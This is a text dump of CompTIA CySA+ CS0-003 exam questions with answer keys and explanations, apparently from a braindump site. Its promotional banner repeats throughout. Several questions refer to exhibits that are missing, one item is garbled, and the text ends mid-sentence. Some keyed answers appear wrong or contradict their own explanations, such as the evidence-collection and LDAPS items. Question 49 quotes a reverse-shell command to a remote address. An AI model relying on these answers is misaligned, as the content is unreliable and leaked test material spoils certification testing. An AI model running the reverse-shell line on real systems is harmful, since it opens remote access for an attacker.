cs0-003_0.pdf

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Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) CompTIA Exam Questions CS0-003 CompTIA CySA+ Certification Beta Exam Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) NEW QUESTION 1 A company has the following security requirements:. No public IPs · All data secured at rest. No insecure ports/protocols After a cloud scan is completed, a security analyst receives reports that several misconfigurations are putting the company at risk. Given the following cloud scanner output: Which of the following should the analyst recommend be updated first to meet the security requirements and reduce risks? A. VM_PRD_DB B. VM_DEV_DB C. VM_DEV_Web02 D. VM_PRD_Web01 Answer: D Explanation: This VM has a public IP and an open port 80, which violates the company’s security requirements of no public IPs and no insecure ports/protocols. It also exposes the VM to potential attacks from the internet. This VM should be updated first to use a private IP and close the port 80, or use a secure protocol such as HTTPS. References[CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition], Chapter 2: Cloud and Hybrid Environments, page 67.[What is a Public IP Address?][What is Port 80?] NEW QUESTION 2 A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat? A. CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/1: K/A: L B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H Answer: A Explanation: This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact is low (A:L). Official References: https://nvd.nist.gov/vuln-metrics/cvss NEW QUESTION 3 The Chief Executive Officer (CEO) has notified that a confidential trade secret has been compromised. Which of the following communication plans should the CEO initiate? A. Alert department managers to speak privately with affected staff. B. Schedule a press release to inform other service provider customers of the compromise. C. Disclose to all affected parties in the Chief Operating Officer for discussion and resolution. D. Verify legal notification requirements of PII and SPII in the legal and human resource departments. Answer: A Explanation: The CEO should initiate an alert to department managers to speak privately with affected staff. This is because the trade secret is confidential and should not be disclosed to the public. Additionally, the CEO should verify legal notification requirements of PII and SPII in the legal and human resource departments to ensure compliance with data protection laws. References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 4, “Data Protection and Privacy Practices”, page 194; CompTIA CySA+ Certification Exam Objectives Version 4.0, Domain 4.0 “Compliance and Assessment”, Objective 4.1 “Given a scenario, analyze data as part of a security incident”, Sub-objective “Data classification levels”, page 23 NEW QUESTION 4 An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server? A. Hard disk B. Primary boot partition C. Malicious tiles Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) D. Routing table E. Static IP address Answer: A Explanation: The hard disk is the piece of data that should be collected first in order to preserve sensitive information before isolating the server. The hard disk contains all the files and data stored on the server, which may include evidence of malicious activity, such as malware installation, data exfiltration, or configuration changes. The hard disk should be collected using proper forensic techniques, such as creating an image or a copy of the disk and maintaining its integrity using hashing algorithms. NEW QUESTION 5 The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protect this organization? A. A mean time to remediate of 30 days B. A mean time to detect of 45 days C. A mean time to respond of 15 days D. Third-party application testing Answer: A Explanation: A mean time to remediate (MTTR) is a metric that measures how long it takes to fix a vulnerability after it is discovered. A MTTR of 30 days would best protect the organization from the new attacks that are exploited 45 days after a patch is released, as it would ensure that the vulnerabilities are fixed before they are exploited NEW QUESTION 6 Which of the following items should be included in a vulnerability scan report? (Choose two.) A. Lessons learned B. Service-level agreement C. Playbook D. Affected hosts E. Risk score F. Education plan Answer: DE Explanation: A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames, operating systems, and services. It should also include a risk score for each vulnerability, which indicates the severity and potential impact of the vulnerability on the host and the organization. Official References: https://www.first.org/cvss/ NEW QUESTION 7 An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned. Which of the following is the most likely reason to include lessons learned? A. To satisfy regulatory requirements for incident reporting B. To hold other departments accountable C. To identify areas of improvement in the incident response process D. To highlight the notable practices of the organization's incident response team Answer: C Explanation: The most likely reason to include lessons learned in an after-action report is to identify areas of improvement in the incident response process. The lessons learned process is a way of reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying areas of improvement in the incident response process can help enhance the security posture, readiness, or capability of the organization for future incidents, as well as provide feedback or recommendations on how to address any issues or challenges. NEW QUESTION 8 A Chief Information Security Officer wants to map all the attack vectors that the company faces each day. Which of the following recommendations should the company align their security controls around? A. OSSTMM B. Diamond Model Of Intrusion Analysis C. OWASP D. MITRE ATT&CK Answer: D Explanation: The correct answer is D. MITRE ATT&CK. MITRE ATT&CK is a framework that maps the tactics, techniques, and procedures (TTPs) of various threat actors and groups, based on real-world observations and data. MITRE ATT&CK can help a Chief Information Security Officer (CISO) to map all the attack vectors that the company faces each day, as well as to align their security controls around the most relevant and prevalent threats. MITRE ATT&CK can also help the CISO to assess the effectiveness and maturity of their Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) security posture, as well as to identify and prioritize the gaps and improvements. The other options are not the best recommendations for mapping all the attack vectors that the company faces each day. OSSTMM (Open Source Security Testing Methodology Manual) (A) is a methodology that provides guidelines and best practices for conducting security testing and auditing, but it does not map the TTPs of threat actors or groups. Diamond Model of Intrusion Analysis (B) is a model that analyzes the relationships and interactions between four elements of an intrusion: adversary, capability, infrastructure, and victim. The Diamond Model can help understand the characteristics and context of an intrusion, but it does not map the TTPs of threat actors or groups. OWASP (Open Web Application Security Project) © is a project that provides resources and tools for improving the security of web applications, but it does not map the TTPs of threat actors or groups. NEW QUESTION 9 A security administrator has been notified by the IT operations department that some vulnerability reports contain an incomplete list of findings. Which of the following methods should be used to resolve this issue? A. Credentialed scan B. External scan C. Differential scan D. Network scan Answer: A Explanation: A credentialed scan is a type of vulnerability scan that uses valid credentials to log in to the scanned systems and perform a more thorough and accurate assessment of their vulnerabilities. A credentialed scan can access more information than a non-credentialed scan, such as registry keys, patch levels, configuration settings, and installed applications. A credentialed scan can also reduce the number of false positives and false negatives, as it can verify the actual state of the system rather than relying on inference or assumptions. The other types of scans are not related to the issue of incomplete findings, as they refer to different aspects of vulnerability scanning, such as the scope, location, or frequency of the scan. An external scan is a scan that is performed from outside the network perimeter, usually from the internet. An external scan can reveal how an attacker would see the network and what vulnerabilities are exposed to the public. An external scan cannot access internal systems or resources that are behind firewalls or other security controls. A differential scan is a scan that compares the results of two scans and highlights the differences between them. A differential scan can help identify changes in the network environment, such as new vulnerabilities, patched vulnerabilities, or new devices. A differential scan does not provide a complete list of findings by itself, but rather a summary of changes. A network scan is a scan that focuses on the network layer of the OSI model and detects vulnerabilities related to network devices, protocols, services, and configurations. A network scan can discover open ports, misconfigured firewalls, unencrypted traffic, and other network-related issues. A network scan does not provide information about the application layer or the host layer of the OSI model, such as web applications or operating systems. NEW QUESTION 10 Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident? A. The lead should review what is documented in the incident response policy or plan B. Management level members of the CSIRT should make that decision C. The lead has the authority to decide who to communicate with at any time D. Subject matter experts on the team should communicate with others within the specified area of expertise Answer: A Explanation: The incident response policy or plan is a document that defines the roles and responsibilities, procedures and processes, communication and escalation protocols, and reporting and documentation requirements for handling security incidents. The lead should review what is documented in the incident response policy or plan to determine who should be communicated with and when during a security incident, as well as what information should be shared and how. The incident response policy or plan should also be aligned with the organizational policies and legal obligations regarding incident notification and disclosure. NEW QUESTION 10 Which of the following best describes the reporting metric that should be utilized when measuring the degree to which a system, application, or user base is affected by an uptime availability outage? A. Timeline B. Evidence C. Impact D. Scope Answer: C Explanation: The correct answer is C. Impact. The impact metric is the best way to measure the degree to which a system, application, or user base is affected by an uptime availability outage. The impact metric quantifies the consequences of the outage in terms of lost revenue, productivity, reputation, customer satisfaction, or other relevant factors. The impact metric can help prioritize the recovery efforts and justify the resources needed to restore the service1. The other options are not the best ways to measure the degree to which a system, application, or user base is affected by an uptime availability outage. The timeline metric (A) measures the duration and frequency of the outage, but not its effects. The evidence metric (B) measures the sources and types of data that can be used to investigate and analyze the outage, but not its effects. The scope metric (D) measures the extent and severity of the outage, but not its effects. NEW QUESTION 15 A security analyst performs a vulnerability scan. Based on the metrics from the scan results, the analyst must prioritize which hosts to patch. The analyst runs the tool and receives the following output: Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) Which of the following hosts should be patched first, based on the metrics? A. host01 B. host02 C. host03 D. host04 Answer: C Explanation: Host03 should be patched first, based on the metrics, as it has the highest risk score and the highest number of critical vulnerabilities. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Host03 has a risk score of 10 x 0.9 = 9, which is higher than any other host. Host03 also has 5 critical vulnerabilities, which are the most severe and urgent to fix, as they can allow remote code execution, privilege escalation, or data loss. The other hosts have lower risk scores and lower numbers of critical vulnerabilities, so they can be patched later. NEW QUESTION 17 An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender Which of the following information security goals is the analyst most likely trying to achieve? A. Non-repudiation B. Authentication C. Authorization D. Integrity Answer: A Explanation: Non-repudiation ensures that a message sender cannot deny the authenticity of their sent message. This is crucial in banking communications for legal and security reasons. The goal of allowing a message recipient to prove the message's origin is non-repudiation. This ensures that the sender cannot deny the authenticity of their message. Non- repudiation is a fundamental aspect of secure messaging systems, especially in banking and financial communications. NEW QUESTION 20 A Chief Information Security Officer wants to implement security by design, starting …… vulnerabilities, including SQL injection, FRI, XSS, etc. Which of the following would most likely meet the requirement? A. Reverse engineering B. Known environment testing C. Dynamic application security testing D. Code debugging Answer: C Explanation: Dynamic Application Security Testing (DAST) is used to detect vulnerabilities in running applications, including common issues like SQL injection, FRI, XSS, etc. It aligns with the goal of implementing security by design. NEW QUESTION 22 An incident response analyst is investigating the root cause of a recent malware outbreak. Initial binary analysis indicates that this malware disables host security services and performs cleanup routines on it infected hosts, including deletion of initial dropper and removal of event log entries and prefetch files from the host. Which of the following data sources would most likely reveal evidence of the root cause? (Select two). A. Creation time of dropper B. Registry artifacts Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) C. EDR data D. Prefetch files E. File system metadata F. Sysmon event log Answer: BC Explanation: Registry artifacts and EDR data are two data sources that can provide valuable information about the root cause of a malware outbreak. Registry artifacts can reveal changes made by the malware to the system configuration, such as disabling security services, modifying startup items, or creating persistence mechanisms1. EDR data can capture the behavior and network activity of the malware, such as the initial infection vector, the command and control communication, or the lateral movement2. These data sources can help the analyst identify the malware family, the attack technique, and the threat actor behind the outbreak. References: Malware Analysis | CISA, Malware Analysis: Steps & Examples - CrowdStrike NEW QUESTION 25 HOTSPOT A company recently experienced a security incident. The security team has determined a user clicked on a link embedded in a phishing email that was sent to the entire company. The link resulted in a malware download, which was subsequently installed and run. INSTRUCTIONS Part 1 Review the artifacts associated with the security incident. Identify the name of the malware, the malicious IP address, and the date and time when the malware executable entered the organization. Part 2 Review the kill chain items and select an appropriate control for each that would improve the security posture of the organization and would have helped to prevent this incident from occurring. Each control may only be used once, and not all controls will be used. Firewall log: File integrity Monitoring Report: Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) Malware domain list: Vulnerability Scan Report: Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) Phishing Email: Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) A. Mastered B. Not Mastered Answer: A Explanation: NEW QUESTION 28 A manufacturer has hired a third-party consultant to assess the security of an OT network that includes both fragile and legacy equipment Which of the following must be considered to ensure the consultant does no harm to operations? A. Employing Nmap Scripting Engine scanning techniques B. Preserving the state of PLC ladder logic prior to scanning C. Using passive instead of active vulnerability scans D. Running scans during off-peak manufacturing hours Answer: C Explanation: Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) In environments with fragile and legacy equipment, passive scanning is preferred to prevent any potential disruptions that active scanning might cause. When assessing the security of an Operational Technology (OT) network, especially one with fragile and legacy equipment, it's crucial to use passive instead of active vulnerability scans. Active scanning can sometimes disrupt the operation of sensitive or older equipment. Passive scanning listens to network traffic without sending probing requests, thus minimizing the risk of disruption. NEW QUESTION 32 A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal? A. function w() { a=$(ping -c 1 $1 | awk-F ”/” ’END{print $1}’) && echo “$1 | $a” } B. function x() { b=traceroute -m 40 $1 | awk ’END{print $1}’) && echo “$1 | $b” } C. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ”.in-addr” ’{print$1}’).origin.asn.cymru.com TXT +short } D. function z() { c=$(geoiplookup$1) && echo “$1 | $c” } Answer: C Explanation: The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is: function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ”.in-addr” ’{print $1}’).origin.asn.cymru.com TXT +short } This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date. The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region NEW QUESTION 33 A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and begins the scan of the network. Which of the following would be missing from a scan performed with this configuration? A. Operating system version B. Registry key values C. Open ports D. IP address Answer: B Explanation: Registry key values would be missing from a scan performed with this configuration, as the scanner appliance would not have access to the Windows Registry of the scanned systems. The Windows Registry is a database that stores configuration settings and options for the operating system and installed applications. To scan the Registry, the scanner would need to have credentials to log in to the systems and run a local agent or script. The other items would not be missing from the scan, as they can be detected by the scanner appliance without credentials. Operating system version can be identified by analyzing service banners or fingerprinting techniques. Open ports can be discovered by performing a port scan or sending probes to common ports. IP address can be obtained by resolving the hostname or using network discovery tools. https://attack.mitre.org/techniques/T1112/ NEW QUESTION 36 An analyst discovers unusual outbound connections to an IP that was previously blocked at the web proxy and firewall. Upon further investigation, it appears that the proxy and firewall rules that were in place were removed by a service account that is not recognized. Which of the following parts of the Cyber Kill Chain does this describe? A. Delivery B. Command and control C. Reconnaissance D. Weaporization Answer: B Explanation: The Command and Control stage of the Cyber Kill Chain describes the communication between the attacker and the compromised system. The attacker may use this channel to send commands, receive data, or update malware. If the analyst discovers unusual outbound connections to an IP that was previously blocked, it may indicate that the attacker has established a command and control channel and bypassed the security controls. ReferencesC: yber Kill Chain® | Lockheed Martin NEW QUESTION 38 Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach? A. Determine the sophistication of the audience that the report is meant for B. Include references and sources of information on the first page C. Include a table of contents outlining the entire report D. Decide on the color scheme that will effectively communicate the metrics Answer: A Explanation: The best way to begin preparation for a report titled “What We Learned” regarding a recent incident involving a cybersecurity breach is to determine the sophistication of the audience that the report is meant for. The sophistication of the audience refers to their level of technical knowledge, understanding, or interest in cybersecurity topics. Determining the sophistication of the audience can help tailor the report content, language, tone, and format to suit their needs and expectations. For example, a report for executive management may be more concise, high-level, and business-oriented than a report for technical staff or peers. Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) NEW QUESTION 39 An attacker recently gained unauthorized access to a financial institution's database, which contains confidential information. The attacker exfiltrated a large amount of data before being detected and blocked. A security analyst needs to complete a root cause analysis to determine how the attacker was able to gain access. Which of the following should the analyst perform first? A. Document the incident and any findings related to the attack for future reference. B. Interview employees responsible for managing the affected systems. C. Review the log files that record all events related to client applications and user access. D. Identify the immediate actions that need to be taken to contain the incident and minimize damage. Answer: C Explanation: In a root cause analysis following unauthorized access, the initial step is usually to review relevant log files. These logs can provide critical information about how and when the attacker gained access. The first step in a root cause analysis after a data breach is typically to review the logs. This helps the analyst understand how the attacker gained access by providing a detailed record of all events, including unauthorized or abnormal activities. Documenting the incident, interviewing employees, and identifying immediate containment actions are important steps, but they usually follow the initial log review. NEW QUESTION 43 The analyst reviews the following endpoint log entry: Which of the following has occurred? A. Registry change B. Rename computer C. New account introduced D. Privilege escalation Answer: C Explanation: The endpoint log entry shows that a new account named “admin” has been created on a Windows system with a local group membership of “Administrators”. This indicates that a new account has been introduced on the system with administrative privileges. This could be a sign of malicious activity, such as privilege escalation or backdoor creation, by an attacker who has compromised the system. NEW QUESTION 45 A security analyst is reviewing the logs of a web server and notices that an attacker has attempted to exploit a SQL injection vulnerability. Which of the following tools can the analyst use to analyze the attack and prevent future attacks? A. A web application firewall B. A network intrusion detection system C. A vulnerability scanner D. A web proxy Answer: A Explanation: A web application firewall (WAF) is a tool that can protect web servers from attacks such as SQL injection, cross-site scripting, and other web-based threats. A WAF can filter, monitor, and block malicious HTTP traffic before it reaches the web server. A WAF can also be configured with rules and policies to detect and prevent specific types of attacks. References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 3, “Security Architecture and Tool Sets”, page 91; CompTIA CySA+ Certification Exam Objectives Version 4.0, Domain 1.0 “Threat and Vulnerability Management”, Objective 1.2 “Given a scenario, analyze the results of a network reconnaissance”, Sub-objective “Web application attacks”, page 9 CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition : CompTIA CySA+ Certification Exam Objectives Version 4.0.pdf) NEW QUESTION 46 Which of the following will most likely ensure that mission-critical services are available in the event of an incident? A. Business continuity plan B. Vulnerability management plan C. Disaster recovery plan D. Asset management plan Answer: C NEW QUESTION 49 A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l Which of the following is being attempted? A. RCE B. Reverse shell C. XSS D. SQL injection Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) Answer: B Explanation: A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the remote user’s system and opens a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l This command is a shell script that creates a reverse shell connection from the target system to the remote user’s system at IP address 10.1.1.1 and port 4821 using UDP protocol. NEW QUESTION 51 A security audit for unsecured network services was conducted, and the following output was generated: Which of the following services should the security team investigate further? (Select two). A. 21 B. 22 C. 23 D. 636 E. 1723 F. 3389 Answer: CD Explanation: The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices1 The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service. Among the six ports listed, two are particularly risky and should be investigated further by the security team: port 23 and port 636. Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution. Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host23 Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections. Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 6362 NEW QUESTION 54 Which of the following best describes the key elements of a successful information security program? A. Business impact analysis, asset and change management, and security communicationplan B. Security policy implementation, assignment of roles and responsibilities, and information asset classification C. Disaster recovery and business continuity planning, and the definition of access control requirements and human resource policies D. Senior management organizational structure, message distribution standards, and procedures for the operation of security management systems Answer: B Explanation: A successful information security program consists of several key elements that align with the organization’s goals and objectives, and address the risks and threats to its information assets. ? Security policy implementation: This is the process of developing, documenting, and enforcing the rules and standards that govern the security of the organization’s information assets. Security policies define the scope, objectives, roles, and responsibilities of the security program, as well as the acceptable use, access control, incident response, and compliance requirements for the information assets. ? Assignment of roles and responsibilities: This is the process of identifying and assigning the specific tasks and duties related to the security program to the appropriate individuals or groups within the organization. Roles and responsibilities define who is accountable, responsible, consulted, and informed for each security activity, such as risk assessment, vulnerability management, threat detection, incident response, auditing, and reporting. ? Information asset classification: This is the process of categorizing the information assets based on their value, sensitivity, and criticality to the organization. Information asset classification helps to determine the appropriate level of protection and controls for each asset, as well as the impact and likelihood of a security Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) breach or loss. Information asset classification also facilitates the prioritization of security resources and efforts based on the risk level of each asset. NEW QUESTION 57 Which of the following would help an analyst to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address? A. Join an information sharing and analysis center specific to the company's industry. B. Upload threat intelligence to the IPS in STIX/TAXII format. C. Add data enrichment for IPS in the ingestion pipleline. D. Review threat feeds after viewing the SIEM alert. Answer: C Explanation: The best option to quickly find out whether the IP address in a SIEM alert is a known- malicious IP address is C. Add data enrichment for IPS in the ingestion pipeline. Data enrichment is the process of adding more information and context to raw data, such as IP addresses, by using external sources. Data enrichment can help analysts to gain more insights into the nature and origin of the threats they face, and to prioritize and respond to them accordingly. Data enrichment for IPS (Intrusion Prevention System) means that the IPS can use enriched data to block or alert on malicious traffic based on various criteria, such as geolocation, reputation, threat intelligence, or behavior. By adding data enrichment for IPS in the ingestion pipeline, analysts can leverage the IPS’s capabilities to filter out known-malicious IP addresses before they reach the SIEM, or to tag them with relevant information for further analysis. This can save time and resources for the analysts, and improve the accuracy and efficiency of the SIEM. The other options are not as effective or efficient as data enrichment for IPS in the ingestion pipeline. Joining an information sharing and analysis center (ISAC) specific to the company’s industry (A) can provide valuable threat intelligence and best practices, but it may not be timely or comprehensive enough to cover all possible malicious IP addresses. Uploading threat intelligence to the IPS in STIX/TAXII format (B) can help the IPS to identify and block malicious IP addresses based on standardized indicators of compromise, but it may require manual or periodic updates and integration with the SIEM. Reviewing threat feeds after viewing the SIEM alert (D) can help analysts to verify and contextualize the malicious IP addresses, but it may be too late or too slow to prevent or mitigate the damage. Therefore, C is the best option among the choices given. NEW QUESTION 60 Which of the following is the first step that should be performed when establishing a disaster recovery plan? A. Agree on the goals and objectives of the plan B. Determine the site to be used during a disasterC Demonstrate adherence to a standard disaster recovery process C. Identity applications to be run during a disaster Answer: A Explanation: The first step that should be performed when establishing a disaster recovery plan is to agree on the goals and objectives of the plan. The goals and objectives of the plan should define what the plan aims to achieve, such as minimizing downtime, restoring critical functions, ensuring data integrity, or meeting compliance requirements. The goals and objectives of the plan should also be aligned with the business needs and priorities of the organization and be measurable and achievable. NEW QUESTION 62 An analyst is suddenly unable to enrich data from the firewall. However, the other open intelligence feeds continue to work. Which of the following is the most likely reason the firewall feed stopped working? A. The firewall service account was locked out. B. The firewall was using a paid feed. C. The firewall certificate expired. D. The firewall failed open. Answer: C Explanation: The firewall certificate expired. If the firewall uses a certificate to authenticate and encrypt the feed, and the certificate expires, the feed will stop working until the certificate is renewed or replaced. This can affect the data enrichment process and the security analysis. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161. NEW QUESTION 66 An analyst is becoming overwhelmed with the number of events that need to be investigated for a timeline. Which of the following should the analyst focus on in order to move the incident forward? A. Impact B. Vulnerability score C. Mean time to detect D. Isolation Answer: A Explanation: The analyst should focus on the impact of the events in order to move the incident forward. Impact is the measure of the potential or actual damage caused by an incident, such as data loss, financial loss, reputational damage, or regulatory penalties. Impact can help the analyst prioritize the events that need to be investigated based on their severity and urgency, and allocate the appropriate resources and actions to contain and remediate them. Impact can also help the analyst communicate the status and progress of the incident to the stakeholders and customers, and justify the decisions and recommendations made during the incident response12. Vulnerability score, mean time to detect, and isolation are all important metrics or actions for incident response, but they are not the main focus for moving the incident forward. Vulnerability score is the rating of the likelihood and severity of a vulnerability being exploited by a threat actor. Mean time to detect is the average time it takes to discover an incident. Isolation is the process of disconnecting an affected system from the network to prevent further damage or spread of the incident34. References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Metrics: What You Should Be Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) Measuring, Vulnerability Scanning Best Practices, How to Track Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR) to Cybersecurity Incidents, [Isolation and Quarantine for Incident Response] NEW QUESTION 67 A security manager is looking at a third-party vulnerability metric (SMITTEN) to improve upon the company's current method that relies on CVSSv3. Given the following: Which of the following vulnerabilities should be prioritized? A. Vulnerability 1 B. Vulnerability 2 C. Vulnerability 3 D. Vulnerability 4 Answer: B Explanation: Vulnerability 2 should be prioritized as it is exploitable, has high exploit activity, and is exposed externally according to the SMITTEN metric. References: Vulnerability Management Metrics: 5 Metrics to Start Measuring in Your Program, Section: Vulnerability Severity. NEW QUESTION 69 Which of the following is an important aspect that should be included in the lessons-learned step after an incident? A. Identify any improvements or changes in the incident response plan or procedures B. Determine if an internal mistake was made and who did it so they do not repeat the error C. Present all legal evidence collected and turn it over to iaw enforcement D. Discuss the financial impact of the incident to determine if security controls are well spent Answer: A Explanation: An important aspect that should be included in the lessons-learned step after an incident is to identify any improvements or changes in the incident response plan or procedures. The lessons-learned step is a process that involves reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying any improvements or changes in the incident response plan or procedures can help enhance the security posture, readiness, or capability of the organization for future incidents NEW QUESTION 70 A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user's workstation, to build the case for the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies? A. Create a timeline of events detailinq the date stamps, user account hostname and IP information associated with the activities B. Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) investigation C. Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identity the case as an HR-related investigation D. Notify the SOC manager for awareness after confirmation that the activity was intentional Answer: B Explanation: The best way to ensure that the investigation complies with HR or privacy policies is to ensure that the case details do not reflect any user-identifiable information, such as name, email address, phone number, or employee ID. This can help protect the privacy and confidentiality of the user and prevent any potential discrimination or retaliation. Additionally, password protecting the evidence and restricting access to personnel related to the investigation can help preserve the integrity and security of the evidence and prevent any unauthorized or accidental disclosure or modification. NEW QUESTION 75 A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment: Which of the following should be completed first to remediate the findings? A. Ask the web development team to update the page contents B. Add the IP address allow listing for control panel access C. Purchase an appropriate certificate from a trusted root CA D. Perform proper sanitization on all fields Answer: D Explanation: The first action that should be completed to remediate the findings is to perform proper sanitization on all fields. Sanitization is a process that involves validating, filtering, or encoding any user input or data before processing or storing it on a system or application. Sanitization can help prevent various types of attacks, such as cross-site scripting (XSS), SQL injection, or command injection, that exploit unsanitized input or data to execute malicious scripts, commands, or queries on a system or application. Performing proper sanitization on all fields can help address the most critical and common vulnerability found during the vulnerability assessment, which is XSS. NEW QUESTION 77 A security analyst noticed the following entry on a web server log: Warning: fopen (http://127.0.0.1:16) : failed to open stream: Connection refused in /hj/var/www/showimage.php on 